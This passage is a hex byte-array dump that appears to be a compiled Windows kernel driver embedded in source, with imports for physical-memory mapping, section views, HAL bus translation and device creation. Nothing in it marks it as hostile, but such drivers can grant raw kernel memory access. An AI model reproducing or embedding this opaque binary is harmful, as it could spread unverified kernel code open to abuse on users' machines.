0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x50, 0x12, 0x00, 0x00, 0x37, 0x13, 0x00, 0x00, - 0x6C, 0x45, 0x00, 0x00, 0x38, 0x13, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, - 0x30, 0x45, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, 0x22, 0x17, 0x00, 0x00, - 0x0C, 0x45, 0x00, 0x00, 0x24, 0x17, 0x00, 0x00, 0x86, 0x17, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x88, 0x17, 0x00, 0x00, 0xDB, 0x17, 0x00, 0x00, - 0x0C, 0x46, 0x00, 0x00, 0xDC, 0x17, 0x00, 0x00, 0x1D, 0x18, 0x00, 0x00, - 0xC8, 0x45, 0x00, 0x00, 0x20, 0x18, 0x00, 0x00, 0x9A, 0x18, 0x00, 0x00, - 0xD4, 0x45, 0x00, 0x00, 0x9C, 0x18, 0x00, 0x00, 0x7A, 0x19, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x7C, 0x19, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, - 0x50, 0x44, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, 0x1A, 0x1F, 0x00, 0x00, - 0x64, 0x44, 0x00, 0x00, 0x1C, 0x1F, 0x00, 0x00, 0x85, 0x1F, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0x88, 0x1F, 0x00, 0x00, 0x4A, 0x20, 0x00, 0x00, - 0x84, 0x44, 0x00, 0x00, 0x4C, 0x20, 0x00, 0x00, 0xF7, 0x20, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0xF8, 0x20, 0x00, 0x00, 0xC7, 0x21, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0xC8, 0x21, 0x00, 0x00, 0xC1, 0x22, 0x00, 0x00, - 0x9C, 0x44, 0x00, 0x00, 0xC4, 0x22, 0x00, 0x00, 0x4A, 0x23, 0x00, 0x00, - 0xB4, 0x44, 0x00, 0x00, 0x4C, 0x23, 0x00, 0x00, 0xDE, 0x23, 0x00, 0x00, - 0xC4, 0x44, 0x00, 0x00, 0xE0, 0x23, 0x00, 0x00, 0xCF, 0x24, 0x00, 0x00, - 0xEC, 0x45, 0x00, 0x00, 0xD0, 0x24, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, - 0x30, 0x45, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, 0xD7, 0x28, 0x00, 0x00, - 0xEC, 0x44, 0x00, 0x00, 0xD8, 0x28, 0x00, 0x00, 0x3B, 0x29, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x3C, 0x29, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, 0xB1, 0x29, 0x00, 0x00, - 0xC4, 0x44, 0x00, 0x00, 0xB4, 0x29, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, - 0x0C, 0x46, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, 0x49, 0x2B, 0x00, 0x00, - 0x88, 0x45, 0x00, 0x00, 0x4C, 0x2B, 0x00, 0x00, 0x1A, 0x2C, 0x00, 0x00, - 0xA8, 0x45, 0x00, 0x00, 0x68, 0x2C, 0x00, 0x00, 0x0F, 0x2D, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0x64, 0x2D, 0x00, 0x00, 0x30, 0x2E, 0x00, 0x00, - 0x20, 0x46, 0x00, 0x00, 0x40, 0x2E, 0x00, 0x00, 0x5F, 0x2E, 0x00, 0x00, - 0x50, 0x46, 0x00, 0x00, 0x60, 0x2E, 0x00, 0x00, 0x87, 0x2E, 0x00, 0x00, - 0x5C, 0x46, 0x00, 0x00, 0x90, 0x2E, 0x00, 0x00, 0xAD, 0x2E, 0x00, 0x00, - 0xC8, 0x45, 0x00, 0x00, 0xB0, 0x2E, 0x00, 0x00, 0x0A, 0x2F, 0x00, 0x00, - 0x64, 0x46, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x00, 0x32, 0x2F, 0x00, 0x00, - 0x88, 0x46, 0x00, 0x00, 0x50, 0x2F, 0x00, 0x00, 0x78, 0x2F, 0x00, 0x00, - 0x90, 0x46, 0x00, 0x00, 0x80, 0x2F, 0x00, 0x00, 0xC6, 0x2F, 0x00, 0x00, - 0x94, 0x46, 0x00, 0x00, 0xD0, 0x2F, 0x00, 0x00, 0xD6, 0x2F, 0x00, 0x00, - 0x98, 0x46, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x00, 0xE1, 0x2F, 0x00, 0x00, - 0x9C, 0x46, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x39, 0x33, 0x00, 0x00, - 0x70, 0x46, 0x00, 0x00, 0x40, 0x33, 0x00, 0x00, 0x3A, 0x34, 0x00, 0x00, - 0x80, 0x46, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x2A, 0x80, 0x00, 0x00, - 0x3C, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0xF9, - 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0x48, - 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xE9, 0xFA, 0x96, - 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x8B, 0x05, 0xD5, 0xCF, 0xFF, 0xFF, 0x45, - 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, - 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, 0x75, 0x38, 0x0F, 0x31, - 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8D, 0x0D, 0xB1, 0xCF, 0xFF, 0xFF, 0x48, - 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, 0xA4, 0xCF, 0xFF, 0xFF, - 0x66, 0x44, 0x89, 0x0D, 0xA2, 0xCF, 0xFF, 0xFF, 0x48, 0x8B, 0x05, 0x95, - 0xCF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0x49, 0x8B, 0xC0, 0x48, - 0x89, 0x05, 0x86, 0xCF, 0xFF, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, - 0x84, 0xCF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, 0xE0, 0x80, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x84, 0x00, 0x00, - 0x10, 0x40, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x44, 0x84, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x07, 0x52, 0x74, - 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, - 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0x57, 0x00, 0x44, 0x62, - 0x67, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x00, 0x00, 0xB1, 0x03, 0x4B, 0x65, - 0x41, 0x63, 0x71, 0x75, 0x69, 0x72, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, - 0x63, 0x6B, 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, - 0x4C, 0x6F, 0x63, 0x6B, 0x00, 0x00, 0x5F, 0x04, 0x4B, 0x65, 0x52, 0x65, - 0x6C, 0x65, 0x61, 0x73, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, - 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, 0x4C, 0x6F, - 0x63, 0x6B, 0x00, 0x00, 0x94, 0x00, 0x45, 0x78, 0x41, 0x6C, 0x6C, 0x6F, - 0x63, 0x61, 0x74, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0xBE, 0x00, - 0x45, 0x78, 0x46, 0x72, 0x65, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, - 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0xE2, 0x04, 0x4D, 0x6D, 0x42, 0x75, - 0x69, 0x6C, 0x64, 0x4D, 0x64, 0x6C, 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, - 0x50, 0x61, 0x67, 0x65, 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x0D, 0x05, - 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, - 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, 0x34, 0x05, 0x4D, 0x6D, 0x55, 0x6E, - 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, - 0x65, 0x73, 0x00, 0x00, 0x0B, 0x05, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, - 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x33, 0x05, 0x4D, 0x6D, - 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, - 0x00, 0x00, 0xD5, 0x04, 0x4D, 0x6D, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, - 0x74, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, 0x75, 0x73, - 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0xEF, 0x04, 0x4D, 0x6D, - 0x46, 0x72, 0x65, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, - 0x75, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0x65, 0x02, - 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, - 0x6C, 0x00, 0x9B, 0x03, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, - 0x8B, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, - 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x96, 0x02, 0x49, 0x6F, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, - 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0xA2, 0x02, 0x49, 0x6F, 0x44, 0x65, - 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, - 0xA4, 0x02, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, - 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, - 0xB7, 0x02, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, - 0xC8, 0x05, 0x4F, 0x62, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, - 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x42, 0x79, 0x48, 0x61, 0x6E, - 0x64, 0x6C, 0x65, 0x00, 0x8E, 0x09, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, - 0x65, 0x00, 0xE4, 0x09, 0x5A, 0x77, 0x4F, 0x70, 0x65, 0x6E, 0x53, 0x65, - 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0xCF, 0x09, 0x5A, 0x77, 0x4D, 0x61, - 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, - 0x6F, 0x6E, 0x00, 0x00, 0x5D, 0x0A, 0x5A, 0x77, 0x55, 0x6E, 0x6D, 0x61, - 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, - 0x6F, 0x6E, 0x00, 0x00, 0xF7, 0x04, 0x4D, 0x6D, 0x47, 0x65, 0x74, 0x50, - 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x00, 0x00, 0xFE, 0x04, 0x4D, 0x6D, 0x49, 0x73, 0x41, 0x64, - 0x64, 0x72, 0x65, 0x73, 0x73, 0x56, 0x61, 0x6C, 0x69, 0x64, 0x00, 0x00, - 0xC9, 0x03, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6B, - 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, 0x6E, 0x6C, - 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x48, 0x00, 0x48, 0x61, 0x6C, 0x54, - 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x42, 0x75, 0x73, 0x41, - 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x00, 0x48, 0x41, 0x4C, 0x2E, - 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 